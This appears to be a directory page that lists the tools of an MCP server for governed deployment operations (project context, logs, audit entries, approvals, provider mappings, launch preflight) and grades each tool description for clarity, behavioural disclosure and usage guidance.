The description clearly states the tool fetches application/deployment logs for a project environment, specifying the behavior for single vs multiple providers and listing return fields. It also distinguishes itself from sibling tools like 'get_latest_deployment_logs' by detailing the provider selection logic.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description explains when to use the provider parameter versus when to read all mapped providers, and mentions that reads are audited. It could be more explicit about when to prefer this tool over 'get_latest_deployment_logs', but the context is sufficient for an AI agent.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
get_latest_deployment_logsGet latest deployment logsA
Convenience: find the latest deployment for the mapped provider (default Vercel) and fetch its logs. Returns deployment status + logs. Read-only and audited.
| Name | Required | Description | Default |
|---|---|---|---|
| project | No | Project id or slug; uses selected if omitted | |
| provider | No | Defaults to 'vercel' | |
| environment | Yes | Environment id or name |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations provided, the description carries the full burden. It states 'Read-only and audited,' which clearly indicates the tool is safe and its usage is logged. This adds behavioral context beyond the schema, though it does not detail rate limits or performance.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is extremely concise: three short sentences that convey purpose, output, and safety. Every word adds value with no redundancy.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's simplicity (3 parameters, no output schema), the description is fairly complete. It covers the read-only nature, output contents, and audit trail. It could mention log size limits or pagination, but for a convenience tool it is adequate.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so each parameter has a description. The tool description mentions 'default Vercel' and 'mapped provider,' which aligns with the schema's default for provider. However, it does not add significant new meaning beyond the schema's parameter descriptions.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's purpose: it finds the latest deployment for the mapped provider and fetches its logs, returning status and logs. This is distinct from sibling tools like get_app_logs, making the purpose explicit and differentiating.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description labels the tool as 'Convenience' but does not specify when to use it over alternatives or when not to use it. It implies a quick shortcut but lacks explicit guidance on context or prerequisites.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
get_launch_statusGet launch statusA
Load a launch plan and report done / pending / blocked-on-approval / failed per step plus THE single next action. Completion is verified, not self-reported: every step's reality check is re-evaluated against provider/local state (reads only, audited), so a crashed session cannot leave phantom done marks. Resumable across sessions.
| Name | Required | Description | Default |
|---|---|---|---|
| plan_id | Yes | Launch plan id (launch_*) from create_launch_plan |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description carries the full burden. It explicitly states the tool is read-only ('reads only, audited'), re-evaluates reality to avoid phantom done marks, and is resumable across sessions. This provides complete transparency about its non-destructive nature and how it verifies completion.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences with zero waste. The first sentence covers the primary purpose; the second adds behavioral context. All information is relevant and front-loaded.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Despite lacking an output schema, the description clearly explains what the tool returns (per-step status and next action). It also addresses state management (resumable, re-evaluation) and safety (read-only, audited), making it fully self-contained for a single-parameter tool.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so the baseline is 3. The description does not add any parameter-specific information beyond what the input schema already provides (plan_id described as a launch plan ID). No additional semantics or usage details for the parameter.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states that the tool loads a launch plan and reports per-step status (done/pending/blocked-on-approval/failed) plus the next action. It distinguishes itself from sibling tools like verify_launch or preflight_launch by focusing on post-launch status tracking.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No explicit guidance on when to use this tool versus alternatives, such as verify_launch or preflight_launch. The context of resumable sessions is provided, but usage context is only implied (e.g., after creating a launch plan).
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
get_project_contextGet project contextA
THE tool to call FIRST. Returns the full production context for a project/environment: GitHub repo, Vercel project + live latest deployment status/URL/failure, Supabase project, Stripe mode, what is allowed / blocked / approval-required, project memory, recent audit history, suggested safe next actions, and a human-readable summary. Pass environment to focus on one (recommended); otherwise all environments are returned.
| Name | Required | Description | Default |
|---|---|---|---|
| project | No | Project id or slug; uses selected if omitted | |
| environment | No | Environment id or name to focus on (e.g. 'staging') |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description indicates a read-only, non-destructive operation by stating it 'returns' data. It does not contradict any assumed behavior, though it could explicitly mention idempotency or safety.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is concise and front-loaded with the key usage instruction. It packs extensive information into a single paragraph without redundancy, though could be slightly more structured.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given no output schema and many sibling tools, the description fully explains what the tool returns and its role as the starting point. It covers all essential aspects for an AI agent to use it correctly.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema provides 100% coverage with descriptions. The description adds value by explaining the recommended use of `environment` and the behavior when omitted (returns all environments).
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly identifies the tool as a comprehensive context retriever for a project, listing specific data categories (GitHub, Vercel, Supabase, Stripe, etc.) and emphasizing it as the first tool to call. This distinguishes it from sibling tools which are more specific actions.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly states it should be called first, recommends passing an environment to focus on one (or omitting for all environments). This provides clear when-to-use guidance and parameterization advice.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
get_provider_mappingGet provider mappingC
Get the concrete provider resource mapped to a given environment.
| Name | Required | Description | Default |
|---|---|---|---|
| project | No | ||
| provider | Yes | ||
| environment | Yes |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, so description carries full burden. It indicates a read operation but does not disclose error behavior (e.g., if mapping not found), side effects, or authentication requirements.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single sentence with no filler, but under-specified. Could include more detail without becoming verbose.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Lacks return format description, error conditions, and dependency details. Given no output schema or annotations, the description should compensate but does not.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 0%, yet description adds no meaning to parameters. It mentions 'environment' but not 'project' or 'provider' values beyond what is in the enum.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description uses a specific verb ('Get') and resource ('concrete provider resource mapped to a given environment'). It clearly distinguishes from sibling tools like 'list_provider_mappings' (which lists all) and 'map_provider_resource' (which creates a mapping).
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No explicit when-to-use or when-not-to-use guidance. The description implies a single mapping retrieval, but does not differentiate from alternatives or mention prerequisites.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
governed_action_summaryGoverned action summaryC
Summarize recent local audit entries with DashClaw correlation fields.
| Name | Required | Description | Default |
|---|---|---|---|
| limit | No | ||
| project | No | ||
| provider | No | ||
| environment | No |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description carries the full burden. It indicates a read operation ('summarize') but does not explain the scope of 'local audit entries', whether it modifies data, or how 'DashClaw correlation fields' affect behavior. This leaves the agent with limited behavioral insight.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single concise sentence with no unnecessary words, and it efficiently conveys the core purpose.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool has 4 parameters with no schema descriptions, no output schema, and no annotations, the description is too brief. It does not explain how parameters affect results, what the output format is, or what 'local audit entries' refers to, leaving the agent underinformed.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The schema has 4 parameters with 0% description coverage, and the description adds no information about them. The agent can only infer meaning from names and enum values, which is insufficient for correct use.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool summarizes recent local audit entries with DashClaw correlation fields, providing a specific verb and resource. However, it does not explicitly differentiate from similar 'list_audit_log' or 'export_audit_log' siblings, so it misses the top score.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance is provided on when to use this tool versus alternatives like 'list_audit_log' or 'dashclaw_record'. The description lacks context on appropriate scenarios or exclusions.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
list_audit_logList audit logB
List recent audit entries (every provider action is logged here). Filter by project, environment, provider.
| Name | Required | Description | Default |
|---|---|---|---|
| limit | No | ||
| project | No | ||
| provider | No | ||
| environment | No |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description is the sole source of behavioral information. It states that every provider action is logged, implying comprehensiveness, but it does not disclose traits such as read-only nature, authentication requirements, rate limits, or what 'recent' means. This leaves significant gaps for an agent.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single, focused sentence that efficiently conveys the core purpose and available filters. There is no wordiness or irrelevant information, making it highly concise and well-structured.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool has four parameters, no output schema, and no annotations, the description is adequate but has clear gaps. It does not explain what 'recent' means, whether there is a default limit, or how entries are ordered. More context would improve usability.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The description adds meaning to three parameters (project, environment, provider) by stating they are filters, but it fails to mention the 'limit' parameter entirely. With 0% schema description coverage, the description partially compensates but is incomplete.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool lists audit entries and mentions that all provider actions are logged, providing a specific verb and resource. However, it does not differentiate from sibling tools like 'export_audit_log', which likely exports instead of listing.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies usage by stating you can filter by project, environment, and provider, but it does not provide explicit guidance on when to use this tool versus alternatives, such as when to export rather than list. Usage context is implied but not clarified.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
list_connectionsList provider connectionsA
List configured provider connections. Secrets are never returned; only env var names are shown.
| Name | Required | Description | Default |
|---|---|---|---|
| provider | No |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description discloses that secrets are never returned (only env var names), which is a critical behavioral trait. However, it does not mention other aspects like ordering, empty results, or potential performance impacts.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences, 14 words, front-loaded with purpose. Every word adds value; no extraneous information.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's simplicity (one optional enum parameter, no output schema), the description covers the main action and a key behavioral detail. However, it omits return structure and parameter guidance, which would be helpful for an agent.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 0% (no descriptions on parameters), and the tool description does not explain the 'provider' parameter. The agent gets no help on how to use the filter, such as default behavior or the effect of omitting it.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool lists provider connections, with a specific verb and resource. It distinguishes from siblings like create_connection or list_projects, and adds a safety note about secrets.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No explicit guidance on when to use this tool versus alternatives like list_provider_mappings or create_connection. The description implies usage for retrieving connections but lacks comparisons or exclusions.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
list_environmentsList environmentsA
List environments for a project.
| Name | Required | Description | Default |
|---|---|---|---|
| project | No |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, so description carries full burden. It states a simple list operation, but does not disclose side effects, authentication, or return format. Acceptable for a basic read tool.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single sentence with no redundancy. Front-loaded with verb and resource.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a simple listing tool, the description adequately covers its purpose. Could benefit from hinting at what an environment is, but not essential.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
With 0% schema coverage, the description adds meaning by linking 'project' to the tool purpose. However, it lacks detail on parameter format or constraints beyond the schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description explicitly states the action (list) and resource (environments for a project). It is specific and distinguishes from sibling 'add_environment'.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance on when to use this tool versus alternatives. The description is too brief to mention exclusions or context.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
list_pending_approvalsList pending approvalsC
List approval requests created by gated provider actions.
| Name | Required | Description | Default |
|---|---|---|---|
| status | No | ||
| project | No |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided; the description lacks behavioral details such as default filtering (e.g., does it return all statuses? only pending?), pagination, or ordering. It only states the basic action without explaining behavior beyond the obvious.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is extremely concise (6 words) but under-informative. It earns its place only partially; while it avoids verbosity, it sacrifices necessary detail.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool has two optional parameters and no output schema or annotations, the description fails to provide sufficient context for correct invocation. It does not explain what the list contains, how to filter, or expected output behavior.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The description does not mention any parameters despite two being defined in the schema with 0% coverage. The agent gets no guidance on using the 'status' filter or 'project' parameter, which are crucial for effective invocation.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the verb 'list' and resource 'approval requests' with a qualifier 'created by gated provider actions', effectively distinguishing it from sibling tools like approve_action or reject_action.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance on when to use this tool versus alternatives such as dashclaw_wait_for_approval or approve_action. The description does not mention when not to use it or provide context for selection.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
list_policy_rulesList policy rulesA
List explicit policy rules (highest priority first). Built-in defaults also apply.
| Name | Required | Description | Default |
|---|---|---|---|
No parameters | |||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description carries the burden for behavioral disclosure. It notes ordering (highest priority first) and that built-in defaults also apply, but does not disclose permissions, side effects, return format, or pagination. Limited but not absent.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences, front-loaded with the main action and ordering. Every word serves a purpose with no waste.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a simple tool with no parameters and no output schema, the description is nearly complete. It covers what is listed (explicit rules), ordering, and the existence of defaults. Could additionally explain the scope of policies, but not necessary for basic usage.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The input schema has zero parameters with 100% coverage, so the baseline is 4. The description adds no parameter information, which is acceptable since none exist.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool lists explicit policy rules with ordering (highest priority first), and explicitly distinguishes from built-in defaults. This is a specific verb and resource that differentiates it from other list tools among siblings.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies usage for viewing explicit rules, but does not explicitly state when to use this tool over alternatives like dashclaw_policies_list or list_audit_log. No when-not-to-use guidance is provided.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
list_projectsList projectsA
List all known projects and which one is currently selected.
| Name | Required | Description | Default |
|---|---|---|---|
No parameters | |||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, but the description fully discloses behavior: it lists projects and shows which is selected. There is no hidden destructive behavior, and it is clearly a read-only operation.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single sentence with no extraneous information. Front-loaded and efficiently communicates the tool's purpose.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given zero parameters and no output schema, the description provides all necessary context: it lists known projects and indicates which is selected. No missing information.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Tool has no parameters (empty schema with 100% coverage). Description does not need to add parameter info, so baseline 4 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states the tool lists all known projects and indicates the currently selected one. It is a specific verb+resource and distinguishes from siblings like create_project and select_project.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No explicit guidance on when to use this tool versus alternatives, but given its simplicity and clear purpose, usage context is implied. No exclusions or alternatives are mentioned.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
list_provider_mappingsList provider mappingsA
List all environment→provider-resource mappings for a project.
| Name | Required | Description | Default |
|---|---|---|---|
| project | No |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description bears full responsibility. It states 'list all', implying no side effects, but does not mention pagination, permissions, or any constraints. Adequate for a simple list operation without further detail.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence with no unnecessary words. It is front-loaded with the main action and resource, achieving clarity with minimal verbosity.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the low complexity (one parameter, no output schema, no annotations), the description is adequately complete. It explains what the tool does and the role of the parameter. Missing details like what the response contains are acceptable for such a simple tool.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The schema has one parameter 'project' with no description, resulting in 0% schema description coverage. The description adds context by stating 'for a project', linking the parameter to the operation. This compensates well for the schema's lack of detail.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the action (list), resource (environment→provider-resource mappings), and scope (for a project). It distinguishes from sibling tools like 'get_provider_mapping' which retrieves a single mapping.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No explicit guidance on when to use this tool versus alternatives. The description implies it is for listing all mappings, but does not mention exclusions, prerequisites, or when to use 'get_provider_mapping' instead.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
map_provider_resourceMap provider resourceB
Bind a provider resource to a project environment. Examples of resource: {provider:'github',owner:'your-org',repo:'your-repo'}, {provider:'vercel',projectId:'your-vercel-project'}, {provider:'supabase',projectRef:'your_project_ref'}, {provider:'stripe',mode:'live'}.
| Name | Required | Description | Default |
|---|---|---|---|
| project | No | ||
| provider | Yes | ||
| resource | Yes | Resource object including a 'provider' field matching `provider` | |
| environment | Yes | Environment id or name | |
| connectionId | No | Optional provider connection id to use for this mapping |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, so description carries full burden. It describes a state-changing operation but does not disclose idempotency, error behavior, permissions required, or side effects. Minimal transparency beyond the basic action.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
One sentence with examples immediately following. No extraneous text. Front-loaded with the core action. Every part earns its place.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given 5 parameters, nested objects, no output schema, and no annotations, the description is too sparse. It lacks return value information, error conditions, and usage context. For a mutating tool with complex resource objects, more detail is needed.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The description provides concrete examples for the 'resource' object parameter, which goes beyond the schema's generic description. This adds significant meaning for that parameter, though other parameters (project, environment, connectionId) are not elaborated beyond schema comments.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the action ('bind') and the resources involved ('provider resource to a project environment'). It distinguishes from siblings like 'get_provider_mapping' and 'list_provider_mappings' by focusing on creation/association. Examples further clarify what 'resource' means.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No explicit guidance on when to use this tool versus alternatives (e.g., when to use 'create_connection' vs 'map_provider_resource'). Does not mention prerequisites or cases where this tool is inappropriate. Context signals show many sibling tools but no usage differentiation.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
preflight_launchPreflight launchA
Run before step 1 — verifies the declared stack is actually launchable: provider tokens present AND valid (cheap authenticated read each), mappings complete, Stripe mode sanity (live vs test key for the target environment), Namecheap client IP whitelisted. Returns pass/fail per check with remediation hints. Run before any money is spent.
| Name | Required | Description | Default |
|---|---|---|---|
| plan_id | Yes | Launch plan id (launch_*) |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, so description fully carries burden. It details the checks performed and mentions return format (pass/fail with remediation hints). Does not explicitly state read-only nature, but checks are non-destructive.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Three sentences, front-loaded with key timing instruction, each sentence adds unique value. No superfluous content.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Single required parameter, no output schema needed. Description covers purpose, checks, and output format sufficiently for an agent to invoke correctly.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Only one parameter (plan_id) with 100% schema coverage. Schema already describes it as 'Launch plan id (launch_*)', and description adds no additional parameter details beyond that.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states it verifies stack launchability before step 1, listing specific checks (provider tokens, mappings, Stripe mode, Namecheap IP). This distinguishes it from sibling tools like verify_launch which may be more comprehensive.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly says 'Run before step 1' and 'Run before any money is spent', indicating clear context for use. Does not explicitly state when not to use, but the context implies it's a prerequisite check.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
read_project_memoryRead project memoryA
Read short notes saved for a project (optionally scoped to one environment).
| Name | Required | Description | Default |
|---|---|---|---|
| project | No | ||
| environment | No |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description must bear the full burden. It states the tool is read-only and scopes to environment, but does not disclose details such as authentication requirements or whether all notes or only recent ones are returned.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single concise sentence, front-loaded with the key action and resource. There is no unnecessary text.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the low complexity of the tool (2 parameters, no output schema), the description adequately covers the core functionality. It explains optional scoping, though it could mention the return format for complete transparency.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 0%, but the description adds value by explaining that the 'environment' parameter is optional for scoping. However, it does not elaborate on the 'project' parameter or note format. The description adds some meaning beyond the schema but is not comprehensive.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the action ('Read') and the resource ('short notes saved for a project'), and it specifies optional scoping to an environment. This distinguishes it effectively from sibling tools like write_project_memory.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies when to use the tool (to read notes) but does not provide explicit guidance on when not to use it or mention alternatives. It lacks explicit usage context.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
reject_actionReject actionA
Reject a pending action request so it cannot be approved later.
| Name | Required | Description | Default |
|---|---|---|---|
| note | No | Optional rejection note | |
| approvalId | Yes | Approval id returned by an approval_required response |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, description indicates a mutation (rejection) but lacks details on permissions, reversibility, or side effects. Adequate but minimal.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single sentence, front-loaded with action and effect, no wasted words.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Covers essential purpose for a simple tool; could mention return behavior or confirmation, but adequate given context.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so description adds no extra meaning. Baseline score of 3 applies.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states the verb 'reject' and the resource 'pending action request' with the effect 'cannot be approved later', distinguishing it from sibling tool 'approve_action'.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
